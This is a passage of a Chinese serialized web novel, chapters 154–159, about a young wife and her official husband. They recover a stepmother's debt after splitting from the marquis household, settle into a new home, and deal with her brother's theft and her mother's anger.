难怪那晚会有专人掩护她们离开,难怪无忧阁会用这种方式拒绝卫凌泽的生意,还让卫凌泽下不来台。 萧清禾很快接受了这件事,她没有拆穿萧夜辰,只颔首道:“多谢。” 既谢他主动让路,也谢他这两次相帮。 短短两个字,声音清润,柔婉动听,萧夜辰的身子瞬间紧绷,喉咙跟着发干发紧,只能从鼻间挤出一声回应:“嗯。” 第154章 开私库还债 夜里,清远侯府。 主院灯火通明,除了沈清迟,沈清越和沈清宇都在。 莫氏砸了许多东西,此刻正指着莫芸婉骂个不停,莫芸婉跪在满地的狼藉之上,一声也不敢吭。 沈清宇几次想帮她说话,都被莫氏骂了回去,院中下人更是低垂着脑袋噤若寒蝉,生怕被殃及。 春喜和沈清渊便是在这个时候踏入主院的。 宾客都已被送走,问心院的东西也都在前几日全部打点好,由礼部的人帮忙送去新的府邸。 和莫氏的疯癫狼狈不同,春喜和沈清渊精神抖擞,意气风发。 看到他们,莫氏和沈清宇的脸瞬间扭曲,沈清宇直接冲上来拦住他们:“不是说好分家了吗,你们还来做什么?” 唯一还保持着理智的是沈清越,他拉着沈清宇的胳膊呵斥:“三弟,不许这么跟大哥大嫂说话!” 春喜笑眯眯地看向沈清越夸赞:“还是二弟读书多,明是非懂道理。” “大嫂过奖了,今日我实在不知道会发生这样的事,让大嫂受委屈了,我……” 沈清越试图弥补。 自那日沈清渊回京敲打了他,他就意识到情况不妙,这些日子他除了在云氏族学专心学习,更希望找机会跟卫凌泽再多接触一下,若能得到卫家助力,这世子之位他也许还有跟大哥争一争的可能。 但这些日子卫凌泽并没有去过云氏族学,娘还犯糊涂闹了这样一出,沈清越实在是被打了个措手不及。 春喜直接打断沈清越:“我进府也就几个月,受的那点儿委屈根本不值一提,真正委屈的是夫君,如今咱们已经分家,公爹也当着太子殿下的面认下了账,我和夫君来,是想问问母亲和二弟三弟眼下凑出多少钱了。” 沈清越没想到两人是来讨债的,表情一僵,整个人噎住。 他娘光顾着骂人了,根本没有去筹钱。 沈清宇直接骂出声:“钱钱钱,你满脑子只知道钱,你是讨债鬼投胎,不这么急吼吼地问我们要钱会死吗?” 莫氏骂莫芸婉的时候,把沈清宇也一起骂了进去,沈清宇憋了一肚子的火,这会儿正好全都发泄在春喜身上,激动到唾沫四溅。 春喜飞快地往后退了两步,沈清渊很有默契地横跨半步将她挡在身后。 春喜从沈清渊后面探出脑袋,捏着鼻子道:“三弟,你嘴巴太臭了,该找大夫瞧瞧是不是有什么毛病。” 说完不等沈清宇开口又道:“这些钱是母亲欠夫君的,我们要回来天经地义,三弟若是有什么意见,可以去找太子殿下或者陛下申诉,我帮夫君要钱肯定是不会死的,但三弟以后没钱花,肯定是不能活的像现在这样恣意妄为了。” 说到最后,春喜露出一抹笑。 沈清宇被刺激到,还想动手,被沈清渊一脚踹飞。 “三郎!” 莫芸婉立刻惊呼,跪着来到沈清宇身边。 是她出主意让莫氏利用擢升宴害春喜的,却反被春喜设计,不仅正大光明地分了家,还要莫氏赔将近六万两银子,现在莫氏把所有的错都怪到莫芸婉头上,莫芸婉只能牢牢抓住沈清宇的心,才能继续在侯府待下去。 沈清渊那一脚挺狠的,沈清宇落地之后就吐了血,莫氏虽然生气,但到底还是心疼儿子,急急开口:“逆子,他好歹是你弟弟,你怎么能对他下这样的毒手?” 沈清渊没有理会莫氏,只看着沈清越问:“母亲的私库是你去开还是我亲自去开?” 沈清渊语气平静,但态度十分强硬。 莫氏听到沈清渊要开自己的私库,眼皮猛地一跳,惊声叫道:“我看谁敢!谁敢动我的私库,我现在就死给你们看!” 清远侯虽然答应还钱,但也问太子要了三年期限。 莫氏根本没有打算还这笔钱,只想着拖一拖,等这阵风头过了,再想办法赖账,却没想到沈清渊这么着急,今天就要搬空她的私库。 那可是她苦心经营多年才有的成果,她如何能让这个逆子抢了去? 说着话,莫氏直接拔下头上的发钗。 这次她倒不是在吓唬沈清渊,要是没了私库,她还不如死了呢。 “娘,您别冲动!” 沈清越有些被吓到,连忙劝说。 沈清渊却是神情不变,冷冰冰地看向莫氏:“二弟明年就要春闱,母亲现在去死,他就得守孝三年,而且三年内不能议亲,母亲死后,我们倒是可以不分家,但是阿喜作为长嫂,可以统管府中所有事务,母亲若是放心把二弟三弟交到我们手上,尽管去死好了。” 沈清渊每说一句,莫氏的脸色就白一分,手也控制不住跟着发颤。 她爬床嫁给清远侯做续弦,算计了一辈子,就是盼着两个儿子能有出息,能让她风光体面,如今好不容易熬到两个儿子都要考取功名了,她哪里舍得去死? 可她的私库也不能给这个逆子啊。 莫氏扑簌簌地落下泪来,终于放下继母的高傲姿态,放软语气求饶:“渊儿,是我错了,我不该觊觎你母亲的嫁妆还偏心越儿和宇儿,以后我把掌家权给曹春喜,在主院设个小佛堂天天吃斋念佛向你母亲忏悔赎罪,你不要计较以前的事行不行?” 莫氏说着从床上起来,跌跌撞撞地走到沈清渊面前就要跪下磕头,春喜眼疾手快把她扶住:“母亲别这样,夫君今日可是奉旨分家,而且还有太子殿下作证呢,这才过去几个时辰就说不分家了,外人岂不是要说我们在戏耍太子殿下和陛下?” 春喜力气大,直接把莫氏扶回床上,而后对沈清渊说:“我在这里照看着,母亲不会有事的,夫君忙去吧。” 屋外都是问心院的护院,沈清渊并不担心春喜的安危,转身就要去开莫氏的私库,沈清越连忙追上:“大哥,还是我陪你一起去吧。” 莫氏急得眼珠子都要瞪出来,却被春喜死死按着动弹不得:“母亲身子不好,还是好好躺着休养吧。” 莫氏恶狠狠地瞪着春喜,沈清宇也从地上爬起来:“贱人,你放开我娘!” 沈清宇说着便要冲过来,春喜抬手,露出腕间尚未取下的袖箭对准他的脑袋就是一箭。 笃! 短箭擦着沈清宇的耳朵射到墙上,莫氏和莫芸婉的哭声,连同沈清宇的叫骂全都戛然而止。 第155章 入住新家 莫氏私库东西挺多的,但有不少都是从萧氏的嫁妆里偷拿的。 沈清渊把自己记得的那些指给沈清越看,还拿了萧氏的嫁妆单子给沈清越核对。 “二弟若是有什么疑问,也可以去官府查看清楚。” 沈清越脸上火辣辣的,虽然他知道这些年他们占了大哥不少好处,但真这么面对面地讨论这件事,还是很难堪。 “我没什么疑问,这些年委屈大哥了,请大哥放心,我一定会想办法早日把钱还给大哥的。” 沈清越言之凿凿,沈清渊却没当回事,把莫氏的私库搬空后,又让贾嬷嬷去取银票和契书。 贾嬷嬷也是一副天塌了的模样,老泪纵横地哭求:“大少爷,你这样做简直是逼夫人去死啊,求大少爷念在夫人操持侯府这么多年的份上,给夫人一条活路吧!” 沈清渊没有耐心再废话,冷眼睨了沈清越一眼,沈清越立刻上前,一番劝说后,贾嬷嬷流着泪去取了东西来。 沈清渊之前一直不争不抢,莫氏便也放松了警惕,花钱大手大脚,府中现银只有不到一万两,铺子田地倒是置办了一些,但瞧都比较一般。 沈清渊并未嫌弃,和沈清越一起估了价,从欠款里减去一万五千两,又写了一张收据给沈清越算作凭证。 做完这些,沈清渊回到主院,带着春喜离开了侯府。 贾嬷嬷心痛如绞,回到屋里跟莫氏说完情况,两人抱头痛哭起来。 莫氏心中怨怒极重,一口一句骂着沈清渊和春喜不得好死,沈清宇跟着谩骂不止,沈清越听得直皱眉:“好了,都别骂了。” 几人完全沉浸在自己的世界里,根本听不到沈清越的声音,不仅没有停,反而越骂越大声。 最终沈清越只能掀翻桌子,厉声呵斥:“都给我闭嘴!” 莫氏吓得浑身一颤,沈清宇也打了个寒颤,屋里终于安静下来。 沈清越冷冷地盯着莫氏:“这件事娘就是告到御前,也是我们不占理,大哥大嫂没有把府里彻底搬空已经算是手下留情了,娘与其在这里怨天尤人,不如好好想想接下来该怎么赚钱还债。” 莫氏这些年攒下的东西都被洗劫一空,只剩下梳妆匣里的一点儿头面首饰,沈清越和沈清宇平日吃穿都是用的上好的,在云氏族学交际往来花销也不少,沈清越手里还有几百两银子,沈清宇则是一点儿钱都没攒下。 府里上上下下还有好几十口人等着吃饭拿月钱,他们连自己都快养不活了,哪里还有余力还债? 想到这里,莫氏又要哭,这时莫芸婉细细软软的声音突然响起:“想要钱生钱,必须先有本钱才行,迟儿妹妹若是愿意,也许还能度过这次危机。” 莫氏恨毒了莫芸婉,正要骂她乱出主意,沈清宇却欣喜开口:“是啊,娘,只要给妹妹寻个好亲事,多要些聘礼,咱们就又有钱了!” 莫氏眸光一闪,到嘴边的怒骂咽了回去。 与此同时,春喜和沈清渊抵达新家。 春喜之前听沈清渊说过这座府邸是陛下所赐,但她以为陛下就只赐了宅子,其他的都需要自己添置,谁知下了马车,就见门口灯笼明亮,两个门房站得笔直恭敬。 “恭迎大人、夫人回家。” 大门后是一面高大的石墙,绕过石墙,宅中灯火通明,依稀可见高大威武的护院在值夜巡守。 前厅里,桌椅茶几陈列有序,一路走来,园中花木亦是茂盛鲜活,进到主院,春喜惊喜地发现这里面的布置和问心院一模一样,甚至还有一个一模一样的小厨房。 里面的厨具齐全,皆是她之前在侯府置办那一套。 “这个小厨房怎么跟我在问心院砌的那个一模一样,夫君是何时找人砌的?” 春喜的唇角止不住地上扬,眼底都是欢喜。 她对清远侯府没有感情,唯一可惜的是她砌的小厨房用了没多久却不能搬走,没想到沈清渊竟让人砌了个一模一样的。 原本因为换了新环境有些不安的心一下子稳稳落下。 见她高兴,沈清渊眸底也带了笑:“夫人帮我讨回这么大一笔钱,我自然要投桃报李犒劳一下夫人才是,夫人可喜欢?” “喜欢,我可太喜欢了!” 春喜重重点头,觉得言语不足以表达心中的欢喜,索性上前环住沈清渊的脖子亲了上去。 沈清渊立刻搂住她的腰,加深这个吻。 很快,两人都乱了呼吸,春喜跳起缠住沈清渊的腰,哼哼唧唧地暗示沈清渊去屋里,然而沈清渊刚抱着春喜走出厨房,就对上一双惊讶又懵懂的眼。 “咳咳……” 沈清渊偏头咳了两声,春喜回头,看到了站在院门口,身形单薄的曹文。 完蛋,差点儿忘记她还有个弟弟了。 春喜从沈清渊身上下来,理了理衣服,清清嗓子,若无其事地看向曹文:“在这里做什么?想回侯府还是想回家?” 曹文摇摇头,低声说:“我只是想来看看阿姐有没有事。” 曹文一早就被带来了这里,他并不知道擢升宴上发生的事,但突然搬家还是让他感觉不安。 “我没事。” 春喜说着摊开双手在曹文面前转了两圈。 曹文松了一口气,正要告辞离开,又听到春喜说:“我虽然没事,娘却因为偷盗罪被送进了京兆府,如今只有你能证明娘的清白,但贾嬷嬷并不承认是她把那镯子和耳坠交给你的,若是你也拿不出证据,那就只能你进去坐牢换娘出来。” 曹文的小脸被春喜这番话吓得煞白,他没想到自己已经向阿姐坦白还会害娘入狱,片刻的怔愣后,他扑通一声跪下:“阿姐,求你帮帮我,我不想去坐牢。” 他才刚刚下定决心要好好念书,若是坐了牢,以后就不能参加科举考取功名了。 曹文是真的害怕,眼泪大颗大颗地滚落。 春喜并不心疼,只看着他问:“你现在知道害怕,当时从贾嬷嬷手里拿东西的时候怎么不知道怕?” 曹文喉咙发紧。 进到侯府这几个月,阿姐不太搭理他,他接触最多的人反而是贾嬷嬷。 他虽然猜到那些东西不是阿姐给娘的,却不敢反抗贾嬷嬷,甚至有一瞬坏心的想,侯夫人若是能收拾一下阿姐也好。 他在侯府受了那么多白眼和嘲讽,也该让阿姐尝尝那样的滋味儿,好叫阿姐以后都不敢再苛待他。 曹文现在想起自己当时的卑劣只觉得得无地自容,他哭着认错:“阿姐,对不起,我不该一时糊涂想要报复你,我知道错了,以后再也不敢了,求阿姐再给我一次机会吧。” 曹文哭得停不下来,耳边却传来自家阿姐冷静到近乎漠然的声音:“不管是谁,做错了事就要承担后果,你自己好好想想,是隐瞒真相让娘帮你顶罪,还是你跟我去官府自首换娘出来。” 曹文失魂落魄的离开,春喜盯着他的背影看了好半天。 沈清渊正要出声安慰,就听到春喜问:“夫君,青书什么时候能回来呀,这种事被人半道打断怕是对夫君的身体不好吧。” “……” 沈清渊没说话,抱起春喜进屋,用实际行动证明他的身体好不好。 与此同时,清远侯府外。 一路风尘仆仆终于赶回来的青书被门房拦在外面:“大少爷和少夫人已经分家搬出去住了,你去新宅找他们吧。” 青书:“……”??? 分家?新宅?大人信里一个字都没提!他该去哪儿找大人? 第156章 曹文入狱 曹文回去担惊受怕地想了两日,最终还是找到春喜,愿意跟她去官府自首。 春喜挑眉:“你当真想好要换娘回家,去了官府,可就不容你反悔了。” 曹文脸上满是惶恐,紧张的手心直冒汗,却还是点头道:“我想好了,娘是这个世界上对我最好的人,我不能让娘代我受过。” 得到肯定回答,春喜便不再劝了,叫人套上马车,带着曹文去到京兆府。 大牢昏暗潮湿,还有股子难闻的霉腐味道,看到凶神恶煞的狱卒,曹文脸上的血色褪得干干净净。 牢房里,王氏换上了囚服,头发蓬乱着,短短两日,整个人就憔悴不已,但一见到春喜,王氏就来了精神,扑到牢门前破口大骂:“曹春喜,你这个没良心的逆女,我可是你亲娘,你怎么能害我下大狱,你爹若是知道你这样对我,也不会安心的!” 王氏怒火冲天,恨不能冲出牢房打死春喜。 春喜没接她的话,只看向曹文:“我就送你到这儿了,自己进去吧。” 春喜说完扭头就走,王氏这才察觉到不对,紧张地问:“曹春喜,你又要做什么?阿文可是你亲弟弟,你敢伤害他我做鬼都不会放过你的!” 春喜充耳不闻,径直走出牢房,狱卒不满王氏的吵闹,一鞭子打在牢门上:“吵死了,给我闭嘴!” 说完打开牢门,呵斥王氏:“真正的小偷已经抓到了,你可以走了。” 王氏不敢相信自己的耳朵,她想追上去痛骂春喜,却又怕曹文受到伤害,扑通一声跪下抱住曹文:“我儿子还小,什么都不懂,他不可能去偷东西的,是清远侯夫人故意害他的,你们搞错了,不能抓他!” “他自己到官府自的首,府尹大人亲自审的,怎可能有错,你这刁妇莫再撒泼,速速离去!” 狱卒在这儿见惯了世间百态,一点儿也不为王氏的爱子之情动容,说完便去拉扯王氏。 曹文见状连忙开口:“娘,儿子确实犯错了,该坐牢的是儿子,娘快回家休息吧。” 曹文的乖巧懂事让王氏心如刀割,她这会儿终于后悔,不该贪图侯府的富贵就把曹文送到春喜身边。 王氏悲伤地嚎啕大哭:“我的儿,是娘错了,都是娘害了你,官爷,那镯子和坠子是我逼我儿拿的,他是无辜的,求求你们抓我吧。” 狱卒被王氏哭得脑仁儿疼,强行将她赶出京兆府,王氏不肯离去,在京兆府门口又哭又闹,却再也无法进入。 眼看撒泼无用,王氏哭着跑回家。 自王氏去赴宴就再也没回家,钱氏让人捎信把曹武叫回了家,两人正担忧得不行,见王氏形容狼狈地跑回家皆是吓了一跳,然而不等他们询问,王氏就哭着开口:“快跟我去救救阿文,曹春喜那个讨债鬼把阿文送去坐牢了,阿文这辈子都被她毁了,我以后可怎么活啊。” 哭着跑了一路,王氏早已筋疲力尽,说完这句话整个人就晕过去,曹武连忙把人抱进屋,又是喂水又是掐人中,过了好一会儿,王氏才醒转过来。 想起曹文还在狱中,王氏又要哭,被曹武冷声喝止:“别哭了,娘你不说清楚到底发生了什么事我们怎么想办法救阿文?” 曹武难得强硬,王氏浑身一颤,总算是冷静下来。 她把来龙去脉囫囵说了一遍,话里话外都是对春喜的怨恨咒骂,曹武越听脸色越难看。 他一回家,钱氏就与他说曹文前些日子拿回来一只镯子和一对耳坠,瞧着价值不菲,王氏乐滋滋地跟左邻右舍显摆了一番,还裁了一身新衣要去侯府参加擢升宴,结果没多久,春喜就回家说这两样东西是赃物,要王氏还回去。 王氏都宣扬得人尽皆知了,哪舍得退回去,把春喜痛骂了一番。 钱氏当时也劝过王氏,但王氏不听,还把钱氏也骂了一顿,谁知如今竟真的因为这两样东西出了事。 曹武见王氏把自己撇得一干二净,只知道咒骂春喜,气得怒骂:“这关阿喜什么事,阿喜没提醒娘这东西不能要吗?是娘自己贪心非要留下,还戴着它们去侯府炫耀才会惹出祸事,娘已经害得阿文入狱了,难道还不能清醒过来?” 王氏的脸红了又白,她哭着为自己辩解:“我是贪心,但那也是曹春喜害的,街坊四邻都知道她攀高枝嫁入了侯府做贵夫人,可她自从回门后,一次家都没回过,还不让我去侯府看她,人家背后都在笑话我养了个不孝女,她若是对我好些我能上当被骗吗?” “爹出事后,阿喜就卖身进了卫家,她卖身的钱,还有这些年在卫家的月钱几乎都拿回家给娘了,结果出嫁时娘什么都没有为她置办,娘还要阿喜怎么孝敬你?” 曹武气得不轻,王氏立刻道:“我是没有给她置办嫁妆,但她自己不知道私藏了多少钱,还不听劝阻买了一间铺子呢,如今她在侯府穿金带银,我们还在过苦日子,她不想着拉扯一把,不是没良心是什么?” 王氏毫无愧疚,甚至不觉得自己有错。 曹武说不过她,只能失望道:“娘既然不觉得自己有错,那就让阿文一直待在牢里吧。” 曹武说完走出房间,王氏立刻哭闹起来。 哭她命苦年纪轻轻就守寡,哭她生了个冷血无情的女儿,更哭自己养了个不中用的大儿子,左邻右舍听到哭声想来看热闹,都被曹武赶了出去。 钱氏见王氏越骂越难听,忍不住去劝曹武:“武哥,要不你还是去求求阿喜吧,娘这样一直哭下去也不是办法啊。” 曹武沉着脸,难得强硬:“阿喜不会无缘无故把阿文送进牢里的,定是娘在侯府为了撇清自己,把脏水都泼到阿喜头上,这次阿喜是躲过去了,但如果娘不吃个教训,改改性子,日后肯定还会闯出更大的祸事来,我是家中长子,未能规劝他们已是过失,哪还有脸去求阿喜?” 钱氏听完觉得有道理,便也不再劝,抱着孩子去厨房煮饭去了。 屋里王氏哭干了喉咙却无人理会,心中不免戚戚,难道这件事真的没有回寰的余地了? 第157章 爹,我带夫君来看您了 王氏在家里绝食三日曹武都不肯松口去侯府,王氏拿他也没有办法。 第四日,曹武直接回了木料作坊上工,等他一走,王氏就吃了东西,然后不顾钱氏阻拦去了侯府撒泼打滚要见春喜。 门房被闹得没办法,进去禀报被莫氏一茶杯砸破了脑袋,回来对王氏也没了好脸色:“都跟你说了大少爷和少夫人已经搬去新家了,你自己找他们闹就是了,来我们这里撒泼有什么用?” “那个逆女没跟我说他们搬去了哪里,你总要把地方告诉我我才知道怎么去啊。” 王氏升起两分希望,然而门房也不知道他们的新家在哪儿,只能不耐烦道:“主子的事我们这些奴才哪里知道,你自己想办法去打听呗,自己亲生女儿都不认你,做娘做成你这样也真是够可怜的。” 门房冷嘲,见王氏又要撒泼,干脆招呼人拿着棍棒过来驱赶。 现在府里好多人都被夫人发卖出去了,他们不卖力点怎么能行? 王氏挨了两棒,到底还是惜命,灰溜溜地回了家。 翌日王氏做了一堆好吃的,又拿了衣服去牢里。 吃了几日牢饭,曹文瘦了不少,拿起王氏送来的食物狼吞虎咽起来,看着这一幕,王氏泪流不止,嘴上忍不住抱怨起来。 “儿啊,娘是想救你的,但你那狠心的姐姐不让我进侯府,还派人拿着棍棒把我打出来,娘险些就被打死了,你大哥也想救你,但他也不认识什么贵人,找不到人帮忙,你若是要恨就恨你阿姐,千万别怨你大哥啊。” 王氏把过错都怪到春喜头上,却还要替曹武分辨一二。 曹文吃饭的动作顿了顿,抬头戳穿王氏:“姐姐姐夫已经从侯府搬出来了,不是阿姐让人打的娘。” 曹文还是喊的姐姐姐夫,他知道是自己做错了事,心中并无怨怼,王氏抓住关键问:“你怎么知道他们搬出来了,你是不是去过他们的新家,你快告诉娘,娘这就去让你阿姐放你出来。” 曹文抿唇,垂下了脑袋。 王氏越发肯定他是知道的,正要继续劝说,曹文摇头道:“阿姐说了,每个人都要为自己做错的事承担后果,我如果不来自首,那官府的人就要抓娘,儿子不想让娘坐牢。” 曹文这番话让王氏的心更疼了,她哭着摇头:“傻儿子,你还这么小,要是坐牢这辈子都毁了,娘年纪大了,娘不怕,而且你阿姐毕竟是娘十月怀胎生下来的,她敢让我坐牢那就是大不孝,我可以去官府告她的,你快告诉娘你阿姐现在住在什么地方。” 曹文低着头仍是不语,王氏立刻追问:“是不是你阿姐说了什么话吓唬你,阿文,你别害怕,有娘在呢,娘会保护你的,你跟娘说啊。” 在王氏的哭求声中,曹文抬起头看着王氏,轻声问:“娘,你觉得我和大哥阿姐像吗?” 昏暗的牢房里,曹文的眼睛明亮澄澈,映出王氏满是泪痕的脸。 王氏没想到他会突然这样问,愣了一下摇头道:“不像,你比他们都乖巧懂事,最知道心疼娘了。” 曹文勾唇笑了笑,而后道:“阿姐也说我不像,阿姐说,如果阿爹还在的话,绝不会让我长成现在这般懦弱模样。” 这话虽由曹文转述,王氏却能想象到春喜说这话时会是怎样的表情,她像是被人踩到尾巴,崩溃大喊:“曹春喜她懂什么,你爹是有担当有责任心,要不然也不会帮人挡刀成了短命鬼,害我早早守寡,一个人拉扯你们三个,我才不要你像那个短命鬼一样!” 王氏突然的癫狂有些吓到曹文,他也是第一次知道,原来阿爹是为了救人才丢掉性命的。 相比之下,只敢在心里怨恨阿姐的他,确实懦弱至极,不配做阿爹的儿子。 这般想着,曹文再度开口:“娘,你回去吧,我在这里挺好的,等日后我出来了,就找份活计赚钱孝敬你。” 说完这番话,不管王氏如何再劝,曹文都不再开口了。 回到家,王氏越发的失魂落魄,后半夜开始下雨,温度一下子下降不少,第二日钱氏发现王氏一直没起床,推门进去才发现王氏发起了高热,正一声一声喊着公爹的名字。 钱氏连忙去请了大夫,一帖药熬下去,王氏才醒转过来。 “娘,你没事吧?” 钱氏满脸担忧,王氏的表情有些木讷,她盯着屋顶看了许久才开口:“你去买点儿香烛纸钱,等天晴了,我去看看你爹。” 钱氏应下,下午就把东西都买回来。 两日后,天气放晴。 王氏拒绝钱氏陪同,提着东西出城去了墓地。 她怨恨老曹丢下她一个人,这些年都是让曹武来扫的墓,自己倒是很少来,本还担心要花些时间才能找到墓地,却不想隔着老远就看到了春喜和沈清渊。 沈清渊之前在侯府就不张扬,如今升了官也没讲什么排场,自己一个人陪着春喜来的。 他也不摆架子,亲自把墓边的杂草拔光,而后摆上供品,点燃香烛开始烧纸。 做完这一切,他一掀衣摆,和春喜一起跪下,认认真真地磕了三个头,而后也没有急着起来,陪着春喜跪在那里低声与老曹说话。 王氏原本是想要冲上前找春喜理论的,看到这一幕,双腿像是千斤重,一时竟迈不开腿。 春喜出嫁那日,只给她敬了茶,都没让沈清渊给她磕头。 她一直觉得春喜在卫家把心养野了,连孝顺二字都不知道该怎么写,可这会儿看着两人跪在老曹的面前,她才惊觉不是这样的。 春喜不知道孝顺,只是不愿意孝顺她罢了。 春喜对王氏的到来毫无察觉,她所有的注意力都在沈清渊身上。 之前她虽然每年都会跟大哥和曹文一起来给爹扫墓,但随着在卫家待的时间变长,她渐渐发觉自己和这个家早就格格不入,即便至亲就在身边,她也觉得自己很孤独。 今天跟沈清渊一起来,那种孤独感终于消失不见 磕完三个头,春喜默默在心里开口:爹,女儿带夫君来看您了,他叫沈清渊,是个很好很好的人,对女儿也很好,女儿以后受了委屈可以直接找他撑腰,不用再求爹显灵,爹可以安心了。 第158章 莫氏要病死了 沈清渊不擅长说什么好听的话,只默默做着该做的事,然后安静陪着春喜。 等春喜起身准备离开时,才拉着春喜的手向老曹承诺:“请岳父大人放心,以后我会好好照顾阿喜,不会让她被欺负受委屈的,若我做不到,您就显灵劈了我。” 春喜闻言笑起。 她才在心里说以后不会麻烦她爹在显灵了,结果沈清渊又要让她爹显灵,也不知道他爹最后是听她的还是听女婿的。 这个念头一冒出来,春喜的唇角就止不住地上扬,沈清渊见她一直笑,忍不住问:“我这句话说的有哪里不对吗,夫人为什么一直笑?” 春喜摇头,刚想解释,余光不经意瞥见她娘站在不远处,不知看了他们多久。 春喜脸上的笑瞬间收敛,沈清渊顺着她的目光看到了王氏,沉声道:“岳母应该是为了阿文的事来的,你还不打算告诉她真相吗?” 擢升宴上的事闹得很大,瀚京的世家夫人都知道春喜有个拖后腿的娘家,日后沈清渊在御史台免不了要得罪人,曹文很可能再被有心之人利用。 春喜和沈清渊商量以后,决定假装大义灭亲送他下狱,实则把他送去青州念书,等学成之后再回来。 春喜摇摇头:“现在没必要说,没有真的让阿文去坐牢已经是手下留情了,我娘应该明白不是所有的事都能够被原谅。” 说着话,春喜和沈清渊一起朝王氏走过去。 王氏昨夜梦到老曹,想起老曹在世时对春喜有多疼爱,又目睹了春喜和沈清渊给老曹扫墓之后,没了之前的理直气壮,反而有些慌乱局促。 当着老曹的面,她再骂不出那些咒春喜的话,憋了半晌只憋出一句:“阿喜,娘知道错了,你放了阿文,让娘去坐牢行不行?” 王氏声音嘶哑,满是哀求。 春喜没有心软,只冷静开口:“官府不是我开的,案子已经判下来了,那镯子和耳坠价值上千两,盗窃数额巨大,十日后阿文就会被流放,娘与其浪费时间来求我,不如好好想想能给阿文带些什么东西。” 听到流放二字,王氏的脸一下子变得惨白,她习惯性地想要骂春喜心狠,但被沈清渊的眼神一扫,声音就弱了下去:“阿文才这么小,他哪里受得了流放的苦啊,阿喜,你救救他吧,娘给你磕头了行不行?” 王氏说着便要跪下,被春喜冷声制止:“娘,爹还看着呢,你跪我,我会遭雷劈的。” 王氏浑身一震,春喜知道老曹在天有灵看着他们,却还是要让阿文去流放,说明她是铁了心的,并且觉得自己这样做是正确的,即便面对她爹她也不怕。 王氏张了张嘴,却再也发不出声音。 春喜没有久留,和沈清渊一起离开。 两人回到新家,一下马车,就见青书一脸紧张地站在门口。 “青书,你终于回来啦!” 春喜主动打招呼,心里很是高兴,她正愁找不到人送阿文去青州呢。 青书原本还担心大人、少夫人不要自己了,听到春喜热情的声音,眼泪顿时涌了出来:“呜呜呜,大人、少夫人,小人还以为再也见不到你们了。” 春喜有点儿小小的愧疚,心虚地安慰:“你想太多了,你跟在你家大人身边那么多年,他怎么可能不要你呢。” 不要是不可能的,就是不小心给搞忘了。 沈清渊毫不愧疚,也没安慰青书,只淡淡开口:“平安回来就好。” 为了安抚青书受伤的心,春喜特意吩咐厨房做了一桌丰盛的菜给他接风,青书感动不已,然而刚吃完一个鸡腿,便听到春喜说:“我和大人商量过了,准备送我弟弟去青州念书,别人我们都不放心,所以想让你送他去青州,再帮忙看着他几年……” 春喜话没说完,青书就眼泪汪汪地看向沈清渊:“大人,你不要小人伺候了吗?” 春喜先一步接过话茬:“伺候大人的事以后都可以交给我,我当然也不会亏待你,你去青州后,月钱会比现在高一倍,逢年过节会有另外的节礼,你不用伺候阿文,衣食住行让他自己解决,只需要保证他按时在学堂念书就行,当然,书念得好不好也不需要你负责。” 这份差事听着比之前轻松多了,可好不容易才从徐州回来,又要去人生地不熟的青州,青书还是免不了惆怅伤怀。 见他如此,春喜有些怕强人所难,正想放弃,沈清渊忽地开口:“等你从青州回来,我可举荐你进京兆府做事。” 青书的眼睛瞬间亮起:“我去!请大人和少夫人放心,小人一定会看顾好表少爷的。” 青书答的斩钉截铁,没了伤怀,全是对进京兆府的憧憬和期待。 春喜莫名觉得这一幕有点儿眼熟。 之前大人引诱她成婚的时候,是不是也这样? 十日后,青书带着曹文出发去了青州。 春喜没有去送,她给萧清禾和萧清月发了请帖,邀她们来吃开府宴,一大早就在小厨房忙活起来。 春喜刚炸好丸子,萧清月就到了。 “二侄女儿,这么早就来啦,几日不见就这么想我啊。” 春喜从厨房探出脑袋,动作迅速地塞了一颗丸子到萧清月嘴里。 萧清月蹙眉,萧家很注重规矩,她从小到大都只在桌上吃东西,哪有在厨房门口吃东西的? 萧清月满脸的不高兴,嘴却不自觉咬了两下, 肉香和藕的清香在在嘴里蔓延开来,一点儿不腻,还带着淡淡的甜,萧清月到嘴边的挑刺咽了下去。 没想到还挺好吃的。 咽下嘴里的东西,萧清月小声反驳:“别往自己脸上贴金,我才不会想你呢,是我娘从宫里请了嬷嬷教我规矩,我想早点出来透透气。” 除了学规矩,娘还找了媒人准备给她议亲,烦死了! 春喜把丸子放到蒸笼里,又把鸡汤炖上,便和萧清月一起来到院子里聊天。 刚坐下,又听到萧清月问:“我听说清远侯夫人都要病死了,你还有心思办擢升宴,也不怕她真有什么好歹,被扣上一个逼死婆母的骂名啊?” 春喜疑惑:“你从哪儿听说的?” “大家都知道啦,沈清越和沈清宇都从云氏族学退学回家侍疾了,你不知道吗?” 春喜:“……”??? 她说她真不知道有人相信吗? 第159章 我和你大哥受点委屈也没什么 萧清禾也带来了和萧清月同样的消息。 沈清越和沈清宇在云氏族学的人缘挺好的。 云氏族学里除了世家子弟,还有一些天资比较好的寒门学子,他们大多数人并未亲自参加侯府的擢升宴,对莫氏爬床上位之事也并不清楚,见沈清越和沈清宇都放弃学业回家侍疾,而沈清渊作为长子还是御史台的高官却无动于衷,颇有微词,有人甚至写了文章冷嘲热讽。 这些文章只在文人之间流传,春喜不知道也很正常,萧清禾也是因为在云氏身边,偶然听到云家人说起此事才知道事情闹成了这样。 夜里,沈清渊回来,春喜立刻问了莫氏生病的事。 沈清渊冷淡道:“她不会这么容易就病死的,放心吧。” “我当然知道她不会轻易病死,但外人不知道啊,他们都在骂夫君不孝,夫君怎么能就这么白白让他们骂?” 春喜双手叉腰,很是替沈清渊不平。 沈清渊淡然道:“我不介意,嘴长在他们身上,骂就骂了,反正也不会少块肉。” “可我介意,夫君分明什么都没有做错,为什么要承担这些骂名,我明日就要回侯府去瞧个究竟。” 春喜直接说出自己的决定,沈清渊眉头皱起,过了好一会儿才说:“她并非我的生母,整个沈家甚至都和我没有关系,我不想让你因我被他们磋磨。” 而且,这些日子春喜已经为他做了很多了。 春喜看出沈清渊的担忧,伸手捧住沈清渊的脸,直直地望进他眼里:“我们成婚都这么久了,夫君难道还不清楚我的实力吗?我才不是那种委屈忍让的性子,而且我有的是力气和手段,谁敢给我脸色看?” 春喜语气轻快,不等沈清渊开口又道:“而且现在府中人少清净,我在家待着挺无聊的,夫君就当是放我回去看看热闹呗。” 沈清渊想到春喜之前的战绩,眉头舒展了些,却还是不放心地问:“夫人当真不觉得厌烦?” “不烦,”春喜毫不犹豫地回答,又在沈清渊唇上啄了一口,“夫君待我很好,我很喜欢夫君,能帮夫君处理后宅之事,我很开心也很骄傲。” 